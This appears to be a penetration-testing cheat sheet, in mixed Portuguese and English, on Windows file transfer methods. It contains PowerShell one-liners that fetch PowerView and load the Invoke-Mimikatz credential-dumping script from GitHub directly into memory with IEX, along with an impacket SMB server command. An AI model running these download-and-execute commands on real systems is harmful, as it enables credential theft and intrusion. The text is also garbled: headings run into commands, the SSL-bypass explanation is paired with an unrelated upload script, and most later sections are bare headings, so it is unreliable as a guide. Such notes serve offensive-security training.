Windows File Transfer Methods
Powershell
Download de um arquivo
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')PowerShell DownloadString - Método sem arquivo
Em vez de baixar um script do PowerShell para o disco, podemos executá-lo diretamente na memória usando o cmdlet Invoke-Expression ou o alias IEX
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')PowerShell Invoke-WebRequest
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1Ignorar erros comuns de download no
IE
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEXOutro erro nos downloads do PowerShell está relacionado ao canal seguro SSL/TLS se o certificado não for confiável. Podemos ignorar esse erro com o seguinte comando:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')SMB Downloads
Create the SMB Server
sudo impacket-smbserver share -smb2support /tmp/smbshareCopy a File from the SMB Server
Crie o servidor SMB com um nome de usuário e senha
Monte o servidor SMB com nome de usuário e senha
FTP Downloads
Instalando o módulo Python3 do servidor FTP - pyftpdlib
Configurando um servidor FTP Python3
Transferindo arquivos de um servidor FTP usando o PowerShell
PowerShell Web Uploads
Instalando um WebServer
Configurando o Upload
Script do PowerShell para carregar um arquivo no servidor de upload do Python
Capturamos os dados base64 com o Netcat e usamos o aplicativo base64 com a opção decode para converter a string no arquivo.
SMB Uploads
Instalando módulos Python do WebDav
Usando o módulo Python WebDav
Conectando-se ao Webdav Share
Carregando arquivos usando SMB
FTP Uploads
Arquivo de upload do PowerShell
Last updated